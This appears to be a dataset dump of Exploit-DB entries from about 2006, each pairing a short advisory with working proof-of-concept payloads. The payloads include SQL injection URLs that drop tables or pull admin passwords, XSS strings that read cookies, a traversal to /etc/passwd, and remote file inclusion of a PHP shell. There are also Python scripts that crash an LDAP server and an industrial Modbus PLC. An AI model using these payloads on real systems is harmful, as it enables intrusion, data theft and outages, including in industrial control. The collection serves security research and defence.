QLWD/code_shield huggingface dataset:
标题: vwdev - 'index.php' SQL Injection EDB-ID: 27170 CVE: 2006-0651 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/16547/info

The vwdev application is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation can allow an attacker to bypass authentication, modify data, or exploit vulnerabilities in the underlying database implementation. Other attacks may also be possible. 

http://www.example.com/index.php?Page=definition&UID=2;[SQLINJECTION]
http://www.example.com/index.php?Page=definition&UID=2;Drop Table Docs; -- URL: https://www.exploit-db.com/exploits/27170
标题: QNX 6.2/6.3 - Multiple Privilege Escalation / Denial of Service Vulnerabilities EDB-ID: 27168 CVE: 2005-1528 类型: LOCAL 平台: QNX 发布日期: 2006-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/16539/info

QNX is susceptible to multiple local vulnerabilities. These issues include multiple buffer-overflow vulnerabilities, a format-string vulnerability, an insecure library-path vulnerability, insecure default-directory-permission vulnerability, and a denial-of-service vulnerability.

These issues allow local attackers to execute arbitrary machine code and commands with superuser privileges, facilitating the complete compromise of affected computers. Attackers may also crash affected computers, denying service to legitimate users.

QNX version 6.2.0, 6.2.1, and 6.3 are affected by these issues; earlier versions may also be affected. 

To exploit the denial-of-service vulnerability, the following command is reportedly sufficient:

echo -e "break *0xb032d59fnrncontncont" | gdb gdb URL: https://www.exploit-db.com/exploits/27168
标题: GA's Forum Light - 'Archive.asp' SQL Injection EDB-ID: 27174 CVE: 2006-0669 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/16563/info

GA's Forum Light is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum/archive.asp?Forum=Test+Forum%5F1%2D13%2D2004%5F11%2D28%2D2004&pages='
http://www.example.com/forum/archive.asp?Forum='%20or%20'='%5F1%2D13%2D2004%5F11%2D28%2D2004&pages=4 URL: https://www.exploit-db.com/exploits/27174
标题: UBBCentral UBB.Threads 6.3 - 'showflat.php' SQL Injection EDB-ID: 27164 CVE: 2006-0545 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/16520/info

UBB.Threads is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect UBB.Threads version 6.3; other versions may also be vulnerable. 

http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1 URL: https://www.exploit-db.com/exploits/27164
标题: SoftMaker Shop - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27160 CVE: 2006-0532 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16471/info

SoftMaker Shop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/shop/handle/varer/sok/resultat.asp?strSok=

%3CIMG+SRC%3Djavascript%3Aalert%28%26quot%3BXSS%26quot%3B%29%3E&valg=varer URL: https://www.exploit-db.com/exploits/27160
标题: IBM Tivoli Access Manager Plugin - Directory Traversal EDB-ID: 27163 CVE: 2006-0513 类型: WEBAPPS 平台: CGI 发布日期: 2006-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16494/info

Tivoli Access Manager Plugin for Web Servers is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks; other attacks are also possible.

Note that the attacker must be an authenticated user to exploit this vulnerability.

Versions 5.1.0.10 and 6.0.0 are vulnerable; other versions may also be affected. 

http://www.example.com/pkmslogout?filename=../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/27163
标题: CyberShop Ultimate E-Commerce - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27161 CVE: 2006-0534 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16473/info

CyberShop Ultimate E-commerce is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/default.asp?gb=urun&id=18&ortak="<h1>Patriotic%20Hackers<h1>


http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.cookie</script>&ortak=


http://www.example.com/default.asp?gb=kate&kat=<script>alert(document.title)</script>&ortak=


http://www.example.com/default.asp?gb=kate&kat=AnaKart&ortak="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27161
标题: SPIP 1.8/1.9 - 'index.php3' Cross-Site Scripting EDB-ID: 27158 CVE: 2006-0518 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16461/info

SPIP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

The following proof of concept URI is available:
http://www.example.com/index.php3?lang=">xss URL: https://www.exploit-db.com/exploits/27158
标题: Farsinews 2.1 - 'Loginout.php' Remote File Inclusion EDB-ID: 27154 CVE: 2006-0502 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/16440/info

FarsiNews is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 2.1 Beta2 and earlier. 

http://www.example.com/loginout.php?cmd=dir&cutepath=http://www.example.com/phpshell.txt? URL: https://www.exploit-db.com/exploits/27154
标题: Fcron 3.0 - Convert-FCronTab Local Buffer Overflow EDB-ID: 27159 CVE: 2006-0539 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16467/info

Fcron is susceptible to a local buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

This issue allows local attackers to execute arbitrary machine code with superuser privileges, since the affected utility is installed setuid-superuser by default in some installations. This allows attackers to completely compromise affected computers.

Fcron version 3.0 is affected by this issue; previous versions may also be affected.

Update: This issue is now retired. Further analysis reveals that this issue cannot be exploited for code execution; therefore, this is not a vulnerability.

convert-fcrontab `perl -e 'print "pi3"x600'` URL: https://www.exploit-db.com/exploits/27159
标题: MyBB 1.0/1.1 - 'index.php' Referrer Cookie SQL Injection EDB-ID: 27155 CVE: 2006-1974 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/16443/info

MyBB is prone to an SQL-injection vulnerability.

The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

MyBB 1.1.2 and prior versions are reported vulnerable to this issue. 

http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/* URL: https://www.exploit-db.com/exploits/27155
标题: ZixForum 1.12 - 'forum.asp' Multiple SQL Injections EDB-ID: 27143 CVE: 2005-4334 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16406/info

ZixForum is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 


http://www.example.com/forum/forum.asp?pageid=1&H_ID=9 [ SQL INJEC] URL: https://www.exploit-db.com/exploits/27143
标题: GNOME Evolution 2.2.3/2.3.x - Inline XML File Attachment Buffer Overflow EDB-ID: 27145 CVE: 2006-0528 类型: DOS 平台: LINUX 发布日期: 2006-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16408/info

GNOME Evolution email client is prone to a denial-of-service vulnerability when processing messages containing inline XML file attachments with excessively long strings. 


perl -e 'printf "A"x40000' > evolution-dos-poc.xml URL: https://www.exploit-db.com/exploits/27145
标题: Daffodil CRM 1.5 - 'Userlogin.asp' SQL Injection EDB-ID: 27151 CVE: 2006-0510 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16433/info

Daffodil CRM is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.


Version 8.0 and earlier are reported to be vulnerable; other versions may also be affected. Version 8.5 and later are reported to be invulnerable. 

http://www.example.com:8080/daffodilcrm/userlogin.jsp

PoC could be: 1'or'1'='1 URL: https://www.exploit-db.com/exploits/27151
标题: PmWiki 2.1 - Multiple Input Validation Vulnerabilities EDB-ID: 27147 CVE: 2006-0479 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16421/info

PmWiki is prone to multiple input-validation vulnerabilities. These issues are due to failures in the application to properly sanitize user-supplied input.

- Arbitrary remote file-include vulnerability. Exploitation of this issue will result in the execution of attacker-supplied code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system.

- Unspecified HTML-injection issues. Successful exploitation will permit an attacker to inject arbitrary HTML code. When viewed, this code will be executed in the browser of a victim user in the context of the webserver process. Successful exploitation may aid in the theft of cookie-based authentication credentials, or allow the attacker to control how the site is rendered to the user; other attacks are also possible.

These issues affect version 2.1 beta20; other versions may also be vulnerable. 

http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com URL: https://www.exploit-db.com/exploits/27147
标题: Cerberus Helpdesk 2.7 - 'Clients.php' Cross-Site Scripting EDB-ID: 27153 CVE: 2006-0509 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/16439/info

Cerberus Helpdesk is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tts2/clients.php?mode=search&sid=<sidvalue>&contact_search=<script>alert('c')</script> URL: https://www.exploit-db.com/exploits/27153
标题: CommuniGate Pro 5.0.6 - Server LDAP Denial of Service EDB-ID: 27144 CVE: 2006-0468 类型: DOS 平台: LINUX 发布日期: 2006-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16407/info

CommuniGate Pro Server is prone to a remote denial-of-service vulnerability with a potential for arbitrary code execution. This issue reportedly resides in the LDAP component of the application.

CommuniGate Pro Server 5.0.6 is vulnerable; earlier versions may also be affected. 

#!/usr/bin/env python
# Use this code at your own risk.
# It may crash your server!
# Author: Evgeny Legerov

import sys
import socket

HELP="""
CommuniGate Pro 5.0.6 vulnerability.
Found with ProtoVer LDAP testsuite v1.1

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1389495376 (LWP 20235)]
0xada99bbc in memcpy () from /lib/libc.so.6
(gdb) backtrace
#0  0xada99bbc in memcpy () from /lib/libc.so.6
#1  0x083924b8 in STCopyCString ()
#2  0x08349d5b in BERPackedData::makeCString ()
#3  0x081ae71a in VLDAPInput::processBINDrequest ()
#4  0x081af747 in VLDAPInput::processInput ()
#5  0x082c9373 in VStream::worker ()
#6  0x082ca1e9 in VStream::starter ()
#7  0x08399e7d in STThreadStarter ()
#8  0xadb8bb80 in start_thread () from /lib/libpthread.so.0
#9  0xadaf8dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0xada99bbc <memcpy+28>: repz movsl %ds:(%esi),%es:(%edi)
(gdb) info regi esi edi ecx
esi            0x8688961        141068641
edi            0x86c6fff        141324287
ecx            0x3fff7eae       1073708718
"""

print HELP

host="localhost"
port=389

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

s  = "\x30\x12\x02\x01\x01\x60\x0d\x02\x01\x03\x04\x02\x44\x4e\x80"
s += "\x84\xff\xff\xff\xff"

sock.sendall(s)
sock.close()
1+1=2 URL: https://www.exploit-db.com/exploits/27144
标题: sPaiz-Nuke - 'modules.php' Cross-Site Scripting EDB-ID: 27146 CVE: 2006-0480 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16412/info

sPaiz-Nuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/sPaiz-Nuke/modules.php?name=Articles&file=search&query=[XSS]&type=articles&type=comments URL: https://www.exploit-db.com/exploits/27146
标题: Ashwebstudio Ashnews 0.83 - Cross-Site Scripting EDB-ID: 27149 CVE: 2006-0524 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16426/info

Ashnews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

Example URI have been provided:

http://www.example.com/[path]/ashnews.php?page=showcomments&id=<script><script>alert(document.cookie)</script>

http://www.example.com/[path]/ashnews.php?page=showcomments&id=[xss] URL: https://www.exploit-db.com/exploits/27149
标题: SZUserMgnt 1.4 - 'Username' SQL Injection EDB-ID: 27156 CVE: 2006-0491 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16454/info

SZUserMgnt is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/szusermgnt/www/login.php
Username: ' or 1/*
Password: any URL: https://www.exploit-db.com/exploits/27156
标题: Mozilla Firefox 1.0/1.5 XBL - MOZ-BINDING Property Cross-Domain Scripting EDB-ID: 27150 CVE: 2006-0496 类型: REMOTE 平台: LINUX 发布日期: 2006-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16427/info

Mozilla Firefox is prone to a security vulnerability that may let a Web page execute malicious script code in the context of an arbitrary domain.

The issue affects the '-moz-binding' property.


This could allow a malicious site to access the properties of a trusted site and facilitate various attacks including disclosure of sensitive information. 

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="xss">
<implementation>
<constructor>
alert("XBL XSS");
</constructor>
</implementation>
</binding>

</bindings> URL: https://www.exploit-db.com/exploits/27150
标题: Exiv2 - Corrupted EXIF Data Denial of Service EDB-ID: 27140 CVE: 2005-4676 类型: DOS 平台: MULTIPLE 发布日期: 2006-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/16400/info

Exiv2 is susceptible to a denial-of-service vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input data before attempting to read it, resulting in an out-of-bounds memory access crash.

This issue allows attackers to crash applications that use the affected library to process malicious image data. Depending on the nature of applications, this may be local or remote in nature.

This issue is present in Exiv2 versions prior to 0.9.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27140.jpg URL: https://www.exploit-db.com/exploits/27140
标题: AndoNET Blog 2004.9.2 - 'Comentarios.php' SQL Injection EDB-ID: 27138 CVE: 2006-0462 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/16393/info

AndoNET Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.


Version 2004.09.02 is vulnerable; other versions may also be affected. 

http://www.example.com/adonet/index.php?ando=comentarios&entrada=1'%20union%20select%201,2,3,4/* URL: https://www.exploit-db.com/exploits/27138
标题: PMachine ExpressionEngine 1.4.1 - HTTP Referrer HTML Injection EDB-ID: 27127 CVE: 2006-0461 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16377/info

ExpressionEngine is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to HTTP 'Referer' header before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

GET /path/index.php HTTP/1.0
Host: host
Referer: http://<XSS>.com/; URL: https://www.exploit-db.com/exploits/27127
标题: MyBB 1.0.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27137 CVE: 2006-0470 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/16387/info

MyBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mybb/search.php?action=do_search&keywords=&postthread=1&author=imei&matchusername=1&forums=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby="><script
language=javascript>alert(document.cookie)/script>&sorder=1&showresults=threads&submit=Search URL: https://www.exploit-db.com/exploits/27137
标题: Galil-RIO Modbus - Denial of Service EDB-ID: 27131 CVE: 2013-0699 类型: DOS 平台: HARDWARE 发布日期: 2013-07-27 漏洞利用脚本: # Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01

/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */


# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash

import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100) URL: https://www.exploit-db.com/exploits/27131
标题: My Little Homepage Products - BBCode Link Tag Script Injection EDB-ID: 27139 CVE: 2006-0473 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/16395/info

My Little Homepage Web log, guestbook, and forum are prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible. 

BBCode example have been provided:

[link=javascript:alert(123)]Link[/link]
[link]javascript:alert(123)[/link] URL: https://www.exploit-db.com/exploits/27139